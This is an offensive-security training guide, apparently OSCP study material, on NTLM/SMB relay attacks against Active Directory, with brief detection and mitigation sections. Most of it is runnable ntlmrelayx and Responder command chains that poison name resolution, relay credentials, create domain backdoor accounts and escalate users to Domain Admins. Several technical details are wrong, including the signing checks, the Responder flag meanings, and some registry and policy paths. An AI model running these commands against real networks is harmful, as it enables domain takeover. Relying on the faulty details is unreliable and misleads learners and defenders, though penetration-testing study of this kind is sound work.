Domain 6Active Directory AttacksCORE

SMB Relay Lateral Movement

SMB Relay attacks perform man-in-the-middle NTLM authentication relay, capturing a victim's NTLM authentication and replaying it to a target system. This enables lateral movement without knowing the victim's password, requiring only that SMB signing is disabled on the target.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#SMB-Relay#NTLM-Relay#ntlmrelayx#Responder#SMB-Signing

SMB Relay Lateral Movement

Table of Contents

  1. Concept Overview
  2. Technical Deep-Dive: NTLM Relay
  3. Attack Flow Diagram
  4. Prerequisites
  5. Identifying Targets Without SMB Signing
  6. ntlmrelayx.py — Full Relay Framework
  7. Relaying to Different Targets
  8. LDAP Relay for Privilege Escalation
  9. Responder for LLMNR/NBT-NS Poisoning
  10. Tools Comparison
  11. Detection Indicators
  12. Mitigation Strategies
  13. Common Pitfalls and Troubleshooting
  14. OSCP Exam Tips

Concept Overview

SMB Relay is a man-in-the-middle (MITM) attack that captures a victim’s NTLM authentication attempt and relays (replays) it to a target system — without ever knowing the victim’s password.

The Core Idea

Normal Authentication:
  Victim ──[NTLM Auth]──→ Target

SMB Relay Attack:
  Victim ──[NTLM Auth]──→ Attacker ──[NTLM Auth]──→ Target
                           (MITM Relay)

Why It Works

NTLM authentication is a challenge-response protocol. The attacker doesn’t need to crack the hash — they simply:

  1. Trick the victim into authenticating to the attacker
  2. Capture the NTLM challenge-response
  3. Forward (relay) that exact response to the target
  4. The target validates the response as if the victim authenticated directly

Key Insight

The attacker never sees the password. The entire NTLM authentication exchange is captured and forwarded in real-time. This is fundamentally different from Pass-the-Hash because:

  • PtH requires extracting the hash first
  • SMB Relay works in real-time during authentication
  • SMB Relay works even if the hash cannot be extracted

Technical Deep-Dive: NTLM Relay

NTLM Authentication Protocol

NTLM authentication uses a three-message challenge-response exchange:

┌──────────┐                    ┌──────────┐
│  Client  │                    │  Server  │
│ (Victim) │                    │ (Target) │
└────┬─────┘                    └────┬─────┘
     │                               │
     │  [1] NTLM Negotiate           │
     │  (Client sends capabilities   │
     │   and hostname)               │
     │──────────────────────────────>│
     │                               │
     │                               │ Generate random
     │                               │ challenge (8 bytes)
     │                               │
     │  [2] NTLM Challenge           │
     │  (Server sends 8-byte         │
     │   random challenge)           │
     │<──────────────────────────────│
     │                               │
     │  Hash challenge with         │
     │  NT hash of password         │
     │                               │
     │  [3] NTLM Authenticate        │
     │  (Client sends response      │
     │   = f(challenge, NT hash))   │
     │──────────────────────────────>│
     │                               │
     │                               │ Verify response
     │                               │ using stored NT hash
     │                               │

How the Relay Intercepts

┌──────────┐                    ┌──────────┐                    ┌──────────┐
│  Victim  │                    │ Attacker │                    │  Target  │
│          │                    │ (MITM)   │                    │          │
└────┬─────┘                    └────┬─────┘                    └────┬─────┘
     │                               │                               │
     │  [1] NTLM Negotiate           │                               │
     │──────────────────────────────>│                               │
     │                               │                               │
     │                               │ Forward Negotiate to Target   │
     │                               │──────────────────────────────>│
     │                               │                               │
     │  [2] NTLM Challenge (from    │  [2] NTLM Challenge (from     │
     │     Attacker, relayed        │     Target)                   │
     │     from Target)             │                               │
     │<─────────────────────────────│<──────────────────────────────│
     │                               │                               │
     │  Hash challenge with          │                               │
     │  NT hash of password         │                               │
     │                               │                               │
     │  [3] NTLM Authenticate        │                               │
     │──────────────────────────────>│                               │
     │                               │                               │
     │                               │ Forward Authenticate to       │
     │                               │ Target                        │
     │                               │──────────────────────────────>│
     │                               │                               │
     │                               │  [3] NTLM Authenticate        │
     │                               │  (relayed from Victim)        │
     │                               │──────────────────────────────>│
     │                               │                               │
     │                               │       Target validates        │
     │                               │       → Authentication OK     │
     │                               │                               │

Why SMB Signing Matters

SMB signing adds a cryptographic signature to each SMB packet, preventing relay attacks:

SMB Signing Status Relay Possible? Why
Disabled YES Attacker can forward unmodified NTLM exchange
Enabled NO Each packet is signed; relayed packets fail signature verification
Negotiated MAYBE Depends on client/server negotiation; may fall back to unsigned

The Relay Constraint

For SMB Relay to work:

  1. The target must have SMB signing disabled (or negotiated off)
  2. The victim must be willing to authenticate to the attacker
  3. The attacker must be in a network position to intercept/redirect the authentication

Attack Flow Diagram

Complete Attack Flow

┌─────────────────────────────────────────────────────────────────────────┐
│                    SMB RELAY ATTACK FLOW                                 │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  PHASE 1: RECONNAISSANCE                                                │
│  ┌─────────────────────────────────────────────────────────┐            │
│  │ • Identify targets without SMB signing                  │            │
│  │   crackmapexec smb TARGETS -u user -p pass --signing    │            │
│  │                                                         │            │
│  │ • Identify potential victims (users with sessions)      │            │
│  │   crackmapexec smb TARGETS -u user -p pass --sessions   │            │
│  │                                                         │            │
│  │ • Identify network position (can you MITM?)            │            │
│  │   ARP spoofing, LLMNR/NBT-NS poisoning, etc.            │            │
│  └─────────────────────────────────────────────────────────┘            │
│                                                                         │
│  PHASE 2: LURE THE VICTIM                                               │
│  ┌─────────────────────────────────────────────────────────┐            │
│  │ • Method 1: LLMNR/NBT-NS poisoning (Responder)          │            │
│  │   → Victim queries non-existent hostname                │            │
│  │   → Attacker responds, victim connects to attacker      │            │
│  │                                                         │            │
│  │ • Method 2: Evil share/website                          │            │
│  │   → Victim accesses \\attacker\share                    │            │
│  │   → Victim authenticates via NTLM                       │            │
│  │                                                         │            │
│  │ • Method 3: HTTP 401 redirect                           │            │
│  │   → Victim visits HTTP site                             │            │
│  │   → Site returns 401, browser sends NTLM auth           │            │
│  └─────────────────────────────────────────────────────────┘            │
│                                                                         │
│  PHASE 3: RELAY AUTHENTICATION                                          │
│  ┌─────────────────────────────────────────────────────────┐            │
│  │ • ntlmrelayx.py listens for incoming NTLM auth          │            │
│  │ • Captures the NTLM challenge-response                  │            │
│  │ • Forwards it to the target (SMB/HTTPS/LDAP)           │            │
│  │ • Target validates → authentication succeeds            │            │
│  └─────────────────────────────────────────────────────────┘            │
│                                                                         │
│  PHASE 4: POST-EXPLOITATION                                             │
│  ┌─────────────────────────────────────────────────────────┐            │
│  │ • SMB relay: Shell on target via SMB                    │            │
│  │ • LDAP relay: Add user to Domain Admins                 │            │
│  │ • HTTPS relay: Access web application as victim         │            │
│  └─────────────────────────────────────────────────────────┘            │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

Prerequisites

Three Requirements

Requirement Description How to Verify
1. SMB Signing Disabled on Target Target must accept unsigned SMB sessions crackmapexec --signing
2. Victim Will Authenticate Victim must be tricked into authenticating to attacker Responder, evil shares, HTTP 401
3. Network Position Attacker must be able to intercept/redirect traffic Same subnet, ARP spoofing, poisoning

Detailed Prerequisites

1. SMB Signing Disabled

# Check SMB signing status across the network
crackmapexec smb 10.0.0.0/24 -u admin -p 'P@ssw0rd!' --signing

# Output:
# SMB         10.0.0.10  FILESERVER   Signing: Disabled  ✖
# SMB         10.0.0.20  WEBSERVER    Signing: Enabled   ✔
# SMB         10.0.0.30  DC01         Signing: Enabled   ✔
# SMB         10.0.0.40  WORKSTATION  Signing: Disabled  ✖

# Only targets with "Signing: Disabled" are relay targets

2. Victim Will Authenticate

The victim must initiate an NTLM authentication to the attacker’s machine. Common triggers:

  • Accessing a non-existent network share
  • LLMNR/NBT-NS query resolution
  • HTTP 401 Unauthorized response
  • iSCSI target discovery
  • RDG (Remote Desktop Gateway) redirect

3. Network Position

The attacker must be able to:

  • Receive the victim’s authentication attempt
  • Forward it to the target
  • Receive the target’s response back

This typically means:

  • Same subnet as both victim and target
  • Ability to perform ARP spoofing
  • Or the victim is tricked into connecting directly to the attacker

Identifying Targets Without SMB Signing

Method 1: CrackMapExec

# Check SMB signing status
crackmapexec smb 10.0.0.0/24 -u admin -p 'P@ssw0rd!' --signing

# Output format:
# Host          User   Password  Signing
# ----          ----   --------  -------
# 10.0.0.10     admin  P@ssw0rd! Disabled  ← RELAY TARGET
# 10.0.0.20     admin  P@ssw0rd! Enabled   ← NOT a relay target

Method 2: RustScan + CrackMapExec

# First scan for SMB hosts
rustscan -a 10.0.0.0/24 --ulimit 5000 -p 445

# Then check signing
crackmapexec smb <SMB_HOSTS> -u admin -p 'P@ssw0rd!' --signing

Method 3: nmap

# Check SMB signing with nmap script
nmap -p 445 --script smb2-security-mode 10.0.0.0/24

# Output:
# PORT    STATE SERVICE
# 445/tcp open  microsoft-ds
# | smb2-security-mode:
# |   3.1.1:
# |     Account requirements:
# |       No requirements
# |_    Message signing enabled but not required  ← CAN RELAY

Method 4: PowerShell (from Windows)

# Check SMB signing on a target
Test-NetConnection -ComputerName TARGET -Port 445

# Or use Get-SmbConnection
Get-SmbConnection | Select-Object RemoteComputerName, CredentialType, Dialect

Method 5: Metasploit

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
run

ntlmrelayx.py — Full Relay Framework

Overview

ntlmrelayx.py is the primary tool for SMB Relay attacks. It’s part of the Impacket suite and provides a complete relay framework.

Basic SMB Relay

# Relay incoming NTLM auth to a target via SMB
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support

# Output:
# Impacket v0.12.0
# [*] Protocol client registered: LDAP
# [*] Protocol client registered: SMB
# [*] Protocol client registered: HTTP
# [*] SMB Server started on port 445
# [*] Waiting for connections...

Full Parameter Reference

Parameter Description Example
-t Target host (IP or FQDN) -t 10.0.0.10
-s Target port -s 445
--no-http-server Don’t start HTTP server --no-http-server
--no-ldap-server Don’t start LDAP server --no-ldap-server
--no-smb-server Don’t start SMB server --no-smb-server
-smb2support Enable SMB2/SMB3 support -smb2support
-c Command to execute on target -c "whoami"
-cf Command file to execute -cf commands.txt
-socks Start SOCKS proxy on relay -socks
-l Output directory for loots -l /tmp/loot
-wh Whitespace hostname (for browser) -wh evil.corp.local
-ea Execute assembly on target -ea payload.dll
-escalate-user Escalate user via LDAP -escalate-user username
-protocol Target protocol -protocol ldap
-debug Debug output -debug

Relay with Command Execution

# Relay and execute a command on the target
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "whoami"

# Relay and execute multiple commands
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user attacker P@ssw0rd! /add /domain"

# Relay and execute from file
echo "net user attacker P@ssw0rd! /add /domain" > commands.txt
echo "net group \"Domain Admins\" attacker /add /domain" >> commands.txt
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -cf commands.txt

Relay with SOCKS Proxy

# Relay and start SOCKS proxy for interactive access
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -socks

# Configure proxychains
# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

# Use proxychains for interactive access
proxychains4 smbclient //10.0.0.10/C$
proxychains4 wmiexec.py corp.local/victim@10.0.0.10

Relay to Multiple Targets

# Relay to multiple targets (file with target IPs)
echo "10.0.0.10" > targets.txt
echo "10.0.0.40" >> targets.txt

ntlmrelayx.py -t targets.txt --no-http-server -smb2support

Full Attack Example

# Step 1: Start relay server
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor S3cur3P@ss! /add /domain" &

# Step 2: Lure victim (using Responder or other method)
# Victim authenticates to attacker

# Step 3: Relay server captures and forwards auth
# Output:
# [*] SMBD: Received connection from 10.0.0.50, attacking target 10.0.0.10
# [*] SMBD: 10.0.0.50 \ CORP\jsmith
# [*] SMBD: Relaying to 10.0.0.10
# [*] SMBD: Executing command on 10.0.0.10
# [*] SMBD: Command output:
# [*] SMBD: The command completed successfully.

# Step 4: Use backdoor account
crackmapexec smb 10.0.0.10 -u backdoor -p S3cur3P@ss!

Relaying to Different Targets

Relay to SMB (Default)

# Relay to SMB share
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support

# With command execution
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor Pass123! /add /domain"

Relay to HTTPS

# Relay to HTTPS endpoint (e.g., Exchange, SharePoint)
ntlmrelayx.py -t https://10.0.0.20 --no-raw-mode

# The attacker's HTTP server will capture browser NTLM auth
# and relay it to the HTTPS target

Relay to LDAP

# Relay to LDAP (port 389)
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -smb2support

# LDAP relay is powerful for privilege escalation (see below)

Relay to Multiple Protocols

# Start all servers (SMB, HTTP, LDAP) to relay to any protocol
ntlmrelayx.py -t 10.0.0.10 -smb2support

# This starts:
# - SMB server on port 445
# - HTTP server on port 80
# - HTTPS server on port 443
# - LDAP server on port 389

Protocol-Specific Options

Protocol Port ntlmrelayx Flag Notes
SMB 445 -t 10.0.0.10 (default) Most common target
HTTPS 443 -t https://10.0.0.20 Web apps, Exchange
LDAP 389 -t ldap://10.0.0.1 Privilege escalation
HTTP 80 -t http://10.0.0.20 Unencrypted web apps
WCF Various -t wcf://10.0.0.20 .NET services

LDAP Relay for Privilege Escalation

Why LDAP Relay Is Powerful

LDAP relay allows the attacker to modify Active Directory objects using the victim’s credentials — without knowing the password.

Common LDAP Relay Attacks

1. Add User to Domain Admins

# Relay to LDAP and escalate a specific user
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -escalate-user jsmith

# This:
# 1. Relays victim's auth to LDAP
# 2. Adds jsmith to the 'Domain Admins' group
# 3. jsmith now has Domain Admin privileges

2. Add GenericWrite DACL

# Relay to LDAP and add GenericWrite DACL to a target
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -add-dacl -target-user dc01$

# This gives the attacker GenericWrite on the DC's computer account
# Enabling ACL-based attacks (e.g., SPN manipulation)

3. Modify User Attributes

# Relay to LDAP and execute LDAP modifications
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -c "ldap_modifications.ldif"

4. DCSync via LDAP Relay

# If the victim has DCSync rights, relay to LDAP and perform DCSync
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -mode server

# Then use the relayed session for DCSync operations

LDAP Relay Prerequisites

Requirement Description
LDAP signing disabled Target DC must not require LDAP signing
Victim with write rights Victim needs write access to target AD object
Network access to LDAP Port 389 must be reachable

Checking LDAP Signing

# Check if LDAP signing is required
crackmapexec ldap 10.0.0.1 -u admin -p 'P@ssw0rd!' --kdcHost 10.0.0.1

# Or via PowerShell
Get-ADDefaultDomainPasswordPolicy
(Get-ADDomain).LDAPSigningRequirements

Responder for LLMNR/NBT-NS Poisoning

What Is Responder?

Responder is a LLMNR/NBT-NS/mDNS poisoner that captures NTLM hashes by responding to network broadcast queries with the attacker’s machine.

How It Works

┌──────────┐                    ┌──────────┐
│  Victim  │                    │ Attacker │
│          │                    │(Responder)│
└────┬─────┘                    └────┬─────┘
     │                               │
     │  [1] LLMNR Query:             │
     │  "Who is FILESERVER?"         │
     │  (broadcast)                  │
     │──────────────────────────────>│
     │                               │
     │                               │ I am FILESERVER!
     │  [2] LLMNR Response:          │
     │  "I'm at 10.0.0.ATTACKER"    │
     │<─────────────────────────────│
     │                               │
     │  [3] SMB Connection:          │
     │  Victim connects to           │
     │  \\FILESERVER\share           │
     │  (actually Attacker)          │
     │──────────────────────────────>│
     │                               │
     │  [4] NTLM Authentication:     │
     │  Victim sends NTLM auth      │
     │  to Attacker                 │
     │──────────────────────────────>│
     │                               │
     │                               │ Capture hash OR
     │                               │ Relay to target
     │                               │

Basic Responder Usage

# Start Responder on interface
Responder -I eth0 -wrf

# Flags:
# -I eth0    → Interface to listen on
# -w         → Enable WPAD poisoning
# -r         → Enable NBT-NS poisoning
# -f         → Enable LLMNR poisoning

Responder with ntlmrelayx

# Step 1: Start ntlmrelayx in the background
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor Pass123! /add /domain" &

# Step 2: Start Responder to lure victims
Responder -I eth0 -wrf -v

# Step 3: Wait for victim to query non-existent hostname
# Responder responds → Victim connects → ntlmrelayx relays to target

Responder Configuration

Edit /usr/share/Responder/Responder.conf:

[Responder Core]
Challenge set = 1122334455667788
LLMNR = On
NBTNS = On
MDNS = On

[Poisoners]
WPAD = On

Luring Victims

Method 1: Natural LLMNR/NBT-NS Queries

Victims naturally query for non-existent hosts:

  • \\nonexistent-share\file.docx
  • ping nonexistent-host
  • Browser accessing http://intranet/

Method 2: Evil WPAD

# Responder's WPAD poisoning
# When -w flag is used, Responder serves a WPAD.dat file
# that forces browser NTLM authentication

Method 3: iSCSI Target

# Some systems query for iSCSI targets
# Responder can respond to these queries too

Responder Output

[*] Listening on 10.0.0.ATTACKER

[*] LLMNR: Received request for 'FILESERVER'
[*] LLMNR: Sending reply to 10.0.0.50
[*] SMBD: Received SMB authentication from 10.0.0.50
[*] SMBD: User: jsmith
[*] SMBD: Domain: CORP
[*] SMBD: NTLMv2 Hash: jsmith::CORP:10.0.0.ATTACKER:...
[*] SMBD: Relaying to 10.0.0.10

Tools Comparison

Feature ntlmrelayx.py Responder MultiRelay
Primary Function NTLM relay framework LLMNR/NBT-NS poisoning Multi-target relay
Relay Protocols SMB, HTTPS, LDAP, WCF SMB only SMB
Poisoning No (needs Responder) Yes (LLMNR/NBT-NS/mDNS) No
Command Execution Yes (-c flag) No Yes
SOCKS Proxy Yes (-socks) No No
LDAP Escalation Yes (-escalate-user) No No
Multi-Target Yes (file input) N/A Yes (built-in)
Hash Capture No (relays only) Yes (saves to database) No
Best For Relay attacks Luring victims Bulk relay testing
┌─────────────────────────────────────────────────────┐
│              SMB RELAY TOOL CHAIN                     │
├─────────────────────────────────────────────────────┤
│                                                      │
│  1. Recon:  crackmapexec --signing                   │
│     → Find targets without SMB signing               │
│                                                      │
│  2. Lure:   Responder -I eth0 -wrf                  │
│     → Poison LLMNR/NBT-NS to attract victims         │
│                                                      │
│  3. Relay:  ntlmrelayx.py -t TARGET --no-http-      │
│                server -smb2support -c "COMMAND"      │
│     → Capture and relay NTLM auth                    │
│                                                      │
│  4. Access:  Use relayed session or backdoor         │
│     → Execute commands, add users, escalate          │
│                                                      │
└─────────────────────────────────────────────────────┘

Detection Indicators

Event ID 4624 — Logon Success (Anomalous Source)

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4624
Logon Type: 3 (Network)

Indicators:

Field SMB Relay Indicator Why
IpAddress Non-standard source IP Auth came from attacker, not victim
IpPort Ephemeral port from attacker Attacker’s relay port
LogonGuid Correlate with attacker’s session Match to relay activity

Event ID 4625 — Logon Failure

Failed relay attempts generate logon failures:

Event ID: 4625
Status: 0xC0000072 (user account restriction)
       0x18 (account disabled)
       0x5 (access denied)

Event ID 5140/5145 — Share Access

Event ID: 5140 (Share accessed)
Event ID: 5145 (File share access)
Source IP: Attacker's IP (not victim's)

Event ID 4768/4769 — Kerberos Events

If the relayed session requests Kerberos tickets:

Event ID: 4768 (TGT request from attacker's IP)
Event ID: 4769 (TGS request from attacker's IP)

Network-Level Indicators

Indicator Description
LLMNR/NBT-NS responses from non-authoritative source Responder poisoning
SMB connections to attacker’s IP Victim connecting to attacker
NTLM auth to non-standard host Authentication to attacker
SMB session from attacker to target Relay in progress
WPAD.dat requests Responder WPAD poisoning

Detection Rules

Splunk / SIEM Query

index=windows EventCode=4624 Logon_Type=3
| search IpAddress!="10.0.0.0/24"  // Non-standard subnet
| stats count by SubjectUserName, IpAddress, TargetUserName
| where count > 3

Sigma Rule

title: SMB Relay Attack Detected
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
level: high
logsource:
    category: authentication
    product: windows
detection:
    selection:
        EventID: 4624
        LogonType: 3
    selection_ip:
        IpAddress|startswith:
            - '10.0.0.'
    condition: selection and selection_ip
falsepositives:
    - Legitimate network authentication from different subnets

Mitigation Strategies

1. Enable SMB Signing (CRITICAL)

# Method 1: Group Policy
# Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Microsoft network server: Digitally sign communications (always)
# Set to: Enabled

# Method 2: Registry
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# Method 3: netsh (client)
netsh lan set int interface="Ethernet" require-signing=yes

# Verify
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature"

2. Disable LLMNR

# Disable LLMNR on all workstations and servers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\llmnr\-Parameters" -Name "EnableLLMNR" -Value 0

# Or via Group Policy
# Computer Configuration → Policies → Windows Settings →
# Security Settings → System Services →
# Function Discovery Provider Host → Disabled

3. Disable NBT-NS

# Disable NetBIOS over TCP/IP
# Network Adapter → IPv4 Properties → Advanced → WINS tab
# Select: Disable NetBIOS over TCP/IP

# Or via PowerShell
Get-NetAdapter | Set-NetAdapterAdvancedProperty -DisplayNamePrefix "NetBIOS over TCP/IP" -DisplayValue "Disable NetBIOS over TCP/IP"

4. Network Segmentation

  • Isolate critical systems (DCs, file servers) from general user subnets
  • Use VLANs to limit broadcast domain
  • Implement micro-segmentation where possible

5. LDAP Signing and Channel Binding

# Enable LDAP signing
# Group Policy: Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Domain Controller: Limit account management rights → Enable LDAP signing

# Enable LDAP Channel Binding
# Requires Windows Server 2012 R2+ and Windows 10+

6. Monitor for Anomalous Authentication

  • Alert on NTLM auth from unexpected sources
  • Monitor LLMNR/NBT-NS traffic
  • Correlate authentication events with network flow data

7. 802.1X Network Authentication

Implement port-based network authentication to prevent unauthorized devices from joining the network.


Common Pitfalls and Troubleshooting

Pitfall 1: SMB Signing Enabled

# Error: Relay fails silently or with authentication error

# Fix: Verify target has SMB signing disabled
crackmapexec smb 10.0.0.10 -u admin -p 'P@ssw0rd!' --signing

# If enabled, SMB relay won't work
# Try LDAP relay instead (if LDAP signing is also disabled)

Pitfall 2: No Victim Authentication

# ntlmrelayx is running but no connections received

# Fix: Ensure victims are being lured
# 1. Check Responder is running
# 2. Verify network connectivity
# 3. Check firewall rules
# 4. Try manual lure: \\attacker_ip\share

Pitfall 3: Wrong Interface

# Responder listening on wrong interface
Responder -I eth0 -wrf

# Check interfaces
ip a
# Make sure eth0 is the correct interface facing the victims

Pitfall 4: Firewall Blocking

# Check if ports are open
nmap -p 445,137,138,139,80,443 TARGET_IP

# If blocked, try:
# - Different protocol (LDAP instead of SMB)
# - Pivot to a machine in the target's subnet

Pitfall 5: Victim Already Authenticated

# If victim has existing SMB session to target,
# the relay may conflict

# Fix: Wait for session to expire or use a different victim

Pitfall 6: Domain Computer Account

# Relaying a computer account ($ account) may have limitations
# Computer accounts may not have write access to AD objects

# Fix: Target user accounts, not computer accounts

Pitfall 7: LDAP Signing Enabled

# LDAP relay fails if LDAP signing is required

# Check:
crackmapexec ldap DC_IP -u admin -p 'P@ssw0rd!'

# If LDAP signing is required, LDAP relay won't work
# Fall back to SMB relay

OSCP Exam Tips

1. SMB Relay Checklist

┌──────────────────────────────────────────────────────────┐
│              SMB RELAY QUICK CHECKLIST                    │
├──────────────────────────────────────────────────────────┤
│                                                          │
│  [ ] Identify targets without SMB signing                │
│      crackmapexec smb TARGETS -u user -p pass --signing  │
│                                                          │
│  [ ] Start ntlmrelayx with target                        │
│      ntlmrelayx.py -t TARGET_IP --no-http-server         │
│        -smb2support -c "COMMAND"                         │
│                                                          │
│  [ ] Lure victim                                        │
│      Responder -I eth0 -wrf                              │
│      OR manually: \\ATTACKER_IP\share                    │
│                                                          │
│  [ ] Verify relay succeeded                              │
│      Check ntlmrelayx output for success message         │
│                                                          │
│  [ ] Use relayed access                                  │
│      crackmapexec smb TARGET_IP -u backdoor -p PASS      │
│                                                          │
└──────────────────────────────────────────────────────────┘

2. Common OSCP SMB Relay Scenarios

Scenario Approach
User has session on target without signing Relay user’s auth to add backdoor
LDAP signing disabled on DC Relay to LDAP, escalate user to DA
Multiple targets without signing Relay to highest-value target
Victim is Domain Admin Relay DA’s auth for full compromise

3. Quick Command Reference

# Find relay targets
crackmapexec smb 10.0.0.0/24 -u admin -p PASS --signing

# Start relay (SMB)
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -c "net user backdoor PASS /add /domain"

# Start relay (LDAP escalation)
ntlmrelayx.py -t ldap://10.0.0.1 --no-http-server -escalate-user victim

# Lure victims
Responder -I eth0 -wrf

# SOCKS proxy for interactive access
ntlmrelayx.py -t 10.0.0.10 --no-http-server -smb2support -socks

4. When SMB Relay Fails

SMB Relay Failed? Try:
├── Check SMB signing status (maybe it's enabled)
├── Try LDAP relay instead (ntlmrelayx.py -t ldap://DC)
├── Try HTTPS relay (ntlmrelayx.py -t https://TARGET)
├── Use Responder to capture hash, then crack it
└── Pivot to a machine in the target's subnet

5. Detection Awareness

In the OSCP lab:

  • Event ID 4624 will show authentication from attacker’s IP
  • This is normal and expected
  • Document in your report with mitigation recommendations

Summary

SMB Relay is a powerful lateral movement technique that exploits the NTLM authentication protocol’s lack of mutual authentication:

Key Concepts

  • Man-in-the-middle: Captures and forwards NTLM auth without knowing the password
  • SMB signing is the gatekeeper: Relay only works when signing is disabled
  • Three prerequisites: No SMB signing, willing victim, network position
  • ntlmrelayx.py: The primary relay tool with support for SMB, HTTPS, LDAP
  • Responder: Lures victims via LLMNR/NBT-NS poisoning

Attack Chain

  1. Recon: Find targets without SMB signing (crackmapexec --signing)
  2. Lure: Trick victim into authenticating (Responder, evil shares)
  3. Relay: Forward auth to target (ntlmrelayx.py)
  4. Exploit: Execute commands, add users, escalate privileges

Mitigation

  • Enable SMB signing (most critical)
  • Disable LLMNR and NBT-NS
  • Enable LDAP signing and channel binding
  • Network segmentation to limit relay opportunities
  • Monitor for anomalous NTLM authentication sources

Key takeaways:

  • SMB Relay works without knowing the victim’s password
  • Target must have SMB signing disabled
  • ntlmrelayx.py is the primary tool; Responder lures victims
  • LDAP relay can escalate users to Domain Admins
  • Enable SMB signing to completely prevent this attack
  • Always check --signing status before attempting relay